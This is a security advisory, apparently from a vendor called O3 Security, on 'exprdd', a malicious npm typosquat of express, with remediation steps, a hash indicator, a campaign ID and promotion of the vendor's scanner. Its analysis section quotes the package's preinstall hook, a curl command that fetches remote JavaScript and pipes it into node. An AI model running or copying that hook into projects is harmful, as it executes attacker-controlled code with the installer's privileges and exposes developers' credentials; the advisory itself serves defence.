Which versions of exprdd are malicious?

The following npm versions of exprdd are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate exprdd if I installed it?

exprdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exprdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed exprdd — how do I know if it already compromised me?

If exprdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is exprdd part of a known attack campaign?

Yes — exprdd is associated with the IN-MAL-2026-020625 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exprdd across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exprdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exprdd across your stack and pipelines.

Malicious package

exprddnpm

exprdd is a confirmed malicious npm package (MAL-2026-17241) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exprdd (npm)

MAL-2026-17241

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exprdd

What this malware does

[email protected] impersonates the express framework — package name, description, author, contributors, repository, homepage, and keywords are copied verbatim from express. package.json declares a preinstall lifecycle hook: "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node". On npm install, this fetches JavaScript from a third-party host (codeberg.org/hellscripter/install-scripts, proxied through web.archive.org) and pipes it directly into node. The fetched code is attacker-controlled, unpinned (mutable main branch), and unverified, and executes with the installer's privileges before any package code is required. The typosquat name is the delivery vector for developers mistyping express.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

4cd27ec488e87cd2e26c940ac161033475731708a3f2ae629c4a138275b520f9

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exprdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exprdd across your stack and pipelines.
If you installed it — respond
exprdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exprdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If exprdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks exprdd before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. exprdd on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020625

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks exprdd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database